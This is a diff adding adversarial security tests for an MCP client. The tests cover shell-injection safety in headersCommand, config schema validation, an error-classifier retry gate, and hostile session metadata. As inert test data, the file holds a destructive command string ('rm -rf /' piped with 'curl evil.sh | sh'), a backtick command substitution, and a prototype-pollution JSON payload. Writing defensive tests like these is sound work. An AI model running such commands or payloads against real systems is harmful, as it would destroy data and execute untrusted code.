|
| 1 | +/** |
| 2 | + * Adversarial tests for v0.9.1. |
| 3 | + * |
| 4 | + * Shipping changes since v0.8.10 covered here: |
| 5 | + * - #793 headersCommand: dynamic header resolution via execFile (no shell). |
| 6 | + * Adversarial focus: shell-metacharacter argv is passed literally (no |
| 7 | + * injection surface), and malformed shapes are rejected loudly by the |
| 8 | + * config schema instead of silently no-oping. |
| 9 | + * - MCP catalog tolerant-retry gate (isAnnotationHintValidationError in |
| 10 | + * src/mcp/catalog.ts): the message-substring classifier that decides |
| 11 | + * whether to retry tools/list with the lenient Fabric-tolerant schema. |
| 12 | + * Adversarial focus: false-positive resistance — does an error that merely |
| 13 | + * *mentions* the trigger words (without structurally being that error) |
| 14 | + * get misclassified? |
| 15 | + * - #968 telemetry `source`: session.metadata is an open `Record<string, |
| 16 | + * unknown>` client-supplied bag consumed by session_start telemetry via a |
| 17 | + * `typeof === "string"` guard. Adversarial focus: hostile metadata |
| 18 | + * (wrong types, deep nesting, prototype-pollution-shaped keys) must not |
| 19 | + * crash session creation or leak into Object.prototype. |
| 20 | + * |
| 21 | + * Determinism: no timing deps, no shared mutable state between tests, no |
| 22 | + * network (execFile only spawns local /bin/echo-class binaries already used |
| 23 | + * elsewhere in the MCP test suite). No mock.module(). |
| 24 | + */ |
| 25 | + |
| 26 | +import { describe, test, expect } from "bun:test" |
| 27 | +import { Effect, Schema } from "effect" |
| 28 | +import type { Client } from "@modelcontextprotocol/sdk/client/index.js" |
| 29 | +import { ConfigMCPV1 } from "@opencode-ai/core/v1/config/mcp" |
| 30 | +import { McpCatalog } from "../../src/mcp/catalog" |
| 31 | +import { Session } from "../../src/session" |
| 32 | +import { Instance } from "../../src/project/instance" |
| 33 | +import { tmpdir } from "../fixture/fixture" |
| 34 | + |
| 35 | +// --------------------------------------------------------------------------- |
| 36 | +// 1. headersCommand (#793) — shell-injection safety + shape validation. |
| 37 | +// --------------------------------------------------------------------------- |
| 38 | +describe("headersCommand (#793): shell-injection safety", () => { |
| 39 | + test("argv containing shell metacharacters (; && |) is passed literally to execFile, never shell-interpreted", async () => { |
| 40 | + const { MCP } = await import("../../src/mcp") |
| 41 | + // If execFile ever routed this through a shell, `;`, `&&`, and `|` would be |
| 42 | + // parsed as command separators/pipes and this test would either throw |
| 43 | + // (curl/sh not mocked) or echo something other than the literal string. |
| 44 | + // execFile passes argv straight to the OS with no shell, so `echo` receives |
| 45 | + // the whole string as ONE argument and prints it back unchanged. |
| 46 | + const result = await MCP._testing.resolveHeadersCommand({ |
| 47 | + Authorization: ["echo", "; rm -rf / && curl evil.sh | sh #"], |
| 48 | + }) |
| 49 | + expect(result.Authorization).toBe("; rm -rf / && curl evil.sh | sh #") |
| 50 | + }) |
| 51 | + |
| 52 | + test("argv containing a literal command-substitution payload is echoed back unevaluated", async () => { |
| 53 | + const { MCP } = await import("../../src/mcp") |
| 54 | + const result = await MCP._testing.resolveHeadersCommand({ |
| 55 | + Token: ["echo", "`id`"], |
| 56 | + }) |
| 57 | + // A shell would expand `id` via backticks; execFile treats it as inert text. |
| 58 | + expect(result.Token).toBe("`id`") |
| 59 | + }) |
| 60 | +}) |
| 61 | + |
| 62 | +describe("headersCommand (#793): ConfigMCPV1.Remote schema rejects malformed shapes", () => { |
| 63 | + test("rejects empty argv (would silently no-op at runtime)", () => { |
| 64 | + expect(() => |
| 65 | + Schema.decodeUnknownSync(ConfigMCPV1.Remote)({ |
| 66 | + type: "remote", |
| 67 | + url: "https://example.com/mcp", |
| 68 | + headersCommand: { Authorization: [] }, |
| 69 | + }), |
| 70 | + ).toThrow() |
| 71 | + }) |
| 72 | + |
| 73 | + test("rejects a string value in place of an argv array", () => { |
| 74 | + // A user might paste a shell one-liner directly as the value, expecting it |
| 75 | + // to be split/run as a command — the schema must reject this loudly rather |
| 76 | + // than silently treating the string as a 1-character-per-index array or |
| 77 | + // similarly nonsensical coercion. |
| 78 | + expect(() => |
| 79 | + Schema.decodeUnknownSync(ConfigMCPV1.Remote)({ |
| 80 | + type: "remote", |
| 81 | + url: "https://example.com/mcp", |
| 82 | + headersCommand: { Authorization: "az account get-access-token" }, |
| 83 | + }), |
| 84 | + ).toThrow() |
| 85 | + }) |
| 86 | + |
| 87 | + test("rejects an array-of-arrays value (nested argv is not a valid argv of strings)", () => { |
| 88 | + expect(() => |
| 89 | + Schema.decodeUnknownSync(ConfigMCPV1.Remote)({ |
| 90 | + type: "remote", |
| 91 | + url: "https://example.com/mcp", |
| 92 | + headersCommand: { Authorization: [["az", "account", "get-access-token"]] }, |
| 93 | + }), |
| 94 | + ).toThrow() |
| 95 | + }) |
| 96 | + |
| 97 | + test("rejects a top-level array in place of a header-name-keyed record", () => { |
| 98 | + expect(() => |
| 99 | + Schema.decodeUnknownSync(ConfigMCPV1.Remote)({ |
| 100 | + type: "remote", |
| 101 | + url: "https://example.com/mcp", |
| 102 | + headersCommand: [["az", "account", "get-access-token"]], |
| 103 | + }), |
| 104 | + ).toThrow() |
| 105 | + }) |
| 106 | +}) |
| 107 | + |
| 108 | +// --------------------------------------------------------------------------- |
| 109 | +// 2. MCP catalog tolerant-retry gate — false-positive resistance. |
| 110 | +// |
| 111 | +// isAnnotationHintValidationError (src/mcp/catalog.ts) classifies an error as |
| 112 | +// "Fabric-style null-annotation validation error" (and retries tools/list with |
| 113 | +// the lenient schema) only when a hint name appears as a path segment |
| 114 | +// immediately after `annotations` INSIDE a serialized Zod `"path"` array, i.e. |
| 115 | +// `"path":[...,"annotations","<hint>"]`. Loose substring co-occurrence of the |
| 116 | +// trigger words elsewhere in the message must NOT fire the retry. That |
| 117 | +// structural-vs-coincidental boundary is the adversarial surface probed below. |
| 118 | +// --------------------------------------------------------------------------- |
| 119 | +describe("McpCatalog tolerant-retry gate: false-positive resistance", () => { |
| 120 | + function fakeClientThrowing(message: string, requestFlag: { called: boolean }) { |
| 121 | + return { |
| 122 | + listTools: async () => { |
| 123 | + throw new Error(message) |
| 124 | + }, |
| 125 | + request: async () => { |
| 126 | + requestFlag.called = true |
| 127 | + return { tools: [{ name: "should_not_normally_appear", inputSchema: { type: "object" } }] } |
| 128 | + }, |
| 129 | + } as unknown as Client |
| 130 | + } |
| 131 | + |
| 132 | + test("does NOT retry for an unrelated field's validation error even when the hint words co-occur as prose", async () => { |
| 133 | + // Adversarial construction: a genuine Zod issue array for a completely |
| 134 | + // unrelated field (`tools[0].description`), with the trigger words |
| 135 | + // "annotations"/"readOnlyHint" appended as trailing prose (e.g. from a server |
| 136 | + // that also logs a deprecation notice in the same error text). The classifier |
| 137 | + // requires the hint to sit *immediately after* `annotations` inside a `"path"` |
| 138 | + // array — prose co-occurrence does not satisfy that — so this unrelated |
| 139 | + // "description" error is correctly NOT masked behind the annotation fallback. |
| 140 | + const message = |
| 141 | + JSON.stringify([ |
| 142 | + { code: "invalid_type", expected: "string", path: ["tools", 0, "description"], message: "Invalid input" }, |
| 143 | + ]) + " (server notice: annotations.readOnlyHint field is deprecated)" |
| 144 | + const flag = { called: false } |
| 145 | + const result = await Effect.runPromise(McpCatalog.defs(fakeClientThrowing(message, flag), 1_000)) |
| 146 | + expect(flag.called).toBe(false) |
| 147 | + expect(result).toBeUndefined() |
| 148 | + }) |
| 149 | + |
| 150 | + test("genuine Fabric-style null-annotation error (openWorldHint) retries and returns the tool", async () => { |
| 151 | + const message = JSON.stringify([ |
| 152 | + { |
| 153 | + code: "invalid_type", |
| 154 | + expected: "boolean", |
| 155 | + path: ["tools", 0, "annotations", "openWorldHint"], |
| 156 | + message: "Invalid input", |
| 157 | + }, |
| 158 | + ]) |
| 159 | + const flag = { called: false } |
| 160 | + const result = await Effect.runPromise(McpCatalog.defs(fakeClientThrowing(message, flag), 1_000)) |
| 161 | + expect(flag.called).toBe(true) |
| 162 | + expect(result).toHaveLength(1) |
| 163 | + expect(result?.[0]?.name).toBe("should_not_normally_appear") |
| 164 | + }) |
| 165 | + |
| 166 | + test("does not retry when 'path' appears only as a substring of another word (no exact `\"path\"` token)", async () => { |
| 167 | + // Negative control proving the literal-quote match is exact: a key named |
| 168 | + // "somepath" contains the letters p-a-t-h but not the quoted token `"path"` |
| 169 | + // that the classifier requires, so this must NOT be misclassified even |
| 170 | + // though "annotations" and a hint name are both present. |
| 171 | + const message = JSON.stringify([ |
| 172 | + { code: "invalid_type", somepath: ["tools", 0, "annotations", "readOnlyHint"], message: "Invalid input" }, |
| 173 | + ]) |
| 174 | + const flag = { called: false } |
| 175 | + const result = await Effect.runPromise(McpCatalog.defs(fakeClientThrowing(message, flag), 1_000)) |
| 176 | + expect(flag.called).toBe(false) |
| 177 | + expect(result).toBeUndefined() |
| 178 | + }) |
| 179 | + |
| 180 | + // NOTE: a "prototype-pollution-ish key" sub-case (e.g. a `__proto__` segment |
| 181 | + // in the error message) was considered but skipped as a fabricated test: |
| 182 | + // isAnnotationHintValidationError never JSON.parses the error message — it |
| 183 | + // only runs `.test()` regexes against the raw string — so a `__proto__` |
| 184 | + // substring has no special meaning here and can't pollute anything. The |
| 185 | + // real prototype-pollution-relevant surface in this release is |
| 186 | + // session.metadata (untrusted, deserialized client JSON), covered in |
| 187 | + // section 3 below. |
| 188 | +}) |
| 189 | + |
| 190 | +// --------------------------------------------------------------------------- |
| 191 | +// 3. Telemetry `source` (#968) — hostile session.metadata. |
| 192 | +// |
| 193 | +// session.metadata is `Record<string, unknown>`, client-supplied via POST |
| 194 | +// /session, and session_start telemetry reads `session.metadata?.source` |
| 195 | +// through a `typeof === "string"` guard (src/session/prompt.ts). These tests |
| 196 | +// exercise the real Session.create() path (schema validation + DB round-trip) |
| 197 | +// with hostile metadata shapes and confirm neither a crash nor prototype |
| 198 | +// pollution occurs. |
| 199 | +// --------------------------------------------------------------------------- |
| 200 | +describe("Session.create() (#968): hostile metadata does not crash or pollute", () => { |
| 201 | + test("non-string source (number) round-trips without throwing; typeof guard would correctly reject it", async () => { |
| 202 | + await using tmp = await tmpdir() |
| 203 | + await Instance.provide({ |
| 204 | + directory: tmp.path, |
| 205 | + fn: async () => { |
| 206 | + const session = await Session.create({ metadata: { source: 123 } }) |
| 207 | + expect(session.metadata?.source).toBe(123) |
| 208 | + expect(typeof session.metadata?.source).not.toBe("string") |
| 209 | + }, |
| 210 | + }) |
| 211 | + }) |
| 212 | + |
| 213 | + test("null source round-trips without throwing; typeof guard would correctly reject it", async () => { |
| 214 | + await using tmp = await tmpdir() |
| 215 | + await Instance.provide({ |
| 216 | + directory: tmp.path, |
| 217 | + fn: async () => { |
| 218 | + const session = await Session.create({ metadata: { source: null } }) |
| 219 | + expect(session.metadata?.source).toBe(null) |
| 220 | + expect(typeof session.metadata?.source).not.toBe("string") |
| 221 | + }, |
| 222 | + }) |
| 223 | + }) |
| 224 | + |
| 225 | + test("deeply nested metadata survives the schema + DB round-trip intact", async () => { |
| 226 | + await using tmp = await tmpdir() |
| 227 | + await Instance.provide({ |
| 228 | + directory: tmp.path, |
| 229 | + fn: async () => { |
| 230 | + const nested = { source: "poweruser", extra: { a: { b: { c: [1, 2, { d: "deep" }] } } } } |
| 231 | + const session = await Session.create({ metadata: nested }) |
| 232 | + expect(session.metadata).toEqual(nested) |
| 233 | + }, |
| 234 | + }) |
| 235 | + }) |
| 236 | + |
| 237 | + test("a JSON-parsed `__proto__` own-property in metadata does not pollute Object.prototype", async () => { |
| 238 | + await using tmp = await tmpdir() |
| 239 | + await Instance.provide({ |
| 240 | + directory: tmp.path, |
| 241 | + fn: async () => { |
| 242 | + // Simulates the realistic attack path: an HTTP JSON body parsed into a |
| 243 | + // plain object has `__proto__` as a genuine own enumerable property |
| 244 | + // (JSON.parse never triggers the object-literal special case), which is |
| 245 | + // exactly what a malicious POST /session body would produce. |
| 246 | + const malicious = JSON.parse('{"__proto__":{"polluted":true},"source":"evil"}') |
| 247 | + const session = await Session.create({ metadata: malicious }) |
| 248 | + expect((Object.prototype as Record<string, unknown>).polluted).toBeUndefined() |
| 249 | + expect(({} as Record<string, unknown>).polluted).toBeUndefined() |
| 250 | + // The legitimate sibling key must still survive the round-trip. |
| 251 | + expect(session.metadata?.source).toBe("evil") |
| 252 | + }, |
| 253 | + }) |
| 254 | + }) |
| 255 | +}) |
0 commit comments